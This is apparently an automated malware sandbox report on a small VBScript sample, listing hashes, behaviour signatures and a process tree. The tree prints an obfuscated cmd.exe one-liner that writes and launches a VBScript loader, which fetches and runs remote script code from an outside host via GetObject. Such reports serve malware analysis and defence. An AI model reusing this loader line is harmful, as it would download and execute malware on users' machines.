Analysis

  • max time kernel
    148s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/09/2026, 12:24

General

  • Target
    27_F!CHER0_.53kQgPqe2IGGjpIlJGQX.vbs
  • Size 4KB
  • Sample260908-plhs5afd89
  • SHA256 2f6fc25d2f4f79819828e9cf145f66b84332510a9f7052bc3b886e864cad1843
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
5/10

Malware Config

Signatures

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\27_F!CHER0_.53kQgPqe2IGGjpIlJGQX.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4696
    • C:\Windows\System32\cmD.exe
      cmD ^/V/D/C EcHo functIon fFBJJ(bdr6gC6kHQijDvk555) fFBJJ= rEplace(bdr6gC6kHQijDvk555,"dnf","p" ): End functIon: DbtCzrUiuidM7124="Sc": RPyoNRGi60="tP": pRZq2nO1wMEio720="g1": VKu08X7Mz7AN256 = fFBJJ(DbtCzrUiuidM7124 +"ri*Pt*:H*T"+ RPyoNRGi60 +"s://boggaym1.hodnfto.org/*" + pRZq2nO1wMEio720): GEtObjEct(wuqdm(VKu08X7Mz7AN256)) :functIon wuqdm(uspxx8t3aYy932) wuqdm= rEplACE(uspxx8t3aYy932,"*","" ): End functIon > nul > C:\Users\Public\^pRZq2nO1wMEio720.vbs |^stArt cmd /c stArt C:\Users\Public\^pRZq2nO1wMEio720.vbs
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4936
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" EcHo functIon fFBJJ(bdr6gC6kHQijDvk555) fFBJJ= rEplace(bdr6gC6kHQijDvk555,"dnf","p" ): End functIon: DbtCzrUiuidM7124="Sc": RPyoNRGi60="tP": pRZq2nO1wMEio720="g1": VKu08X7Mz7AN256 = fFBJJ(DbtCzrUiuidM7124 +"ri*Pt*:H*T"+ RPyoNRGi60 +"s://boggaym1.hodnfto.org/*" + pRZq2nO1wMEio720): GEtObjEct(wuqdm(VKu08X7Mz7AN256)) :functIon wuqdm(uspxx8t3aYy932) wuqdm= rEplACE(uspxx8t3aYy932,"*","" ): End functIon 1>C:\Users\Public\pRZq2nO1wMEio720.vbs"
        3⤵
          PID:2696
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" stArt cmd /c stArt C:\Users\Public\pRZq2nO1wMEio720.vbs"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1680
          • C:\Windows\system32\cmd.exe
            cmd /c stArt C:\Users\Public\pRZq2nO1wMEio720.vbs
            4⤵
            • Executes a command shell one-liner
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:2648
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Public\pRZq2nO1wMEio720.vbs"
              5⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:5384

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          pRZq2nO1wMEio720.vbs

          • Path C:\Users\Public\pRZq2nO1wMEio720.vbs
          • Size 401B
          • SHA256 2f26fc5940d534c2098cb6e581135aa09632d7f4f19d4cbdab6ec98424edad58
          • MD5 SHA1 SHA512 TLSH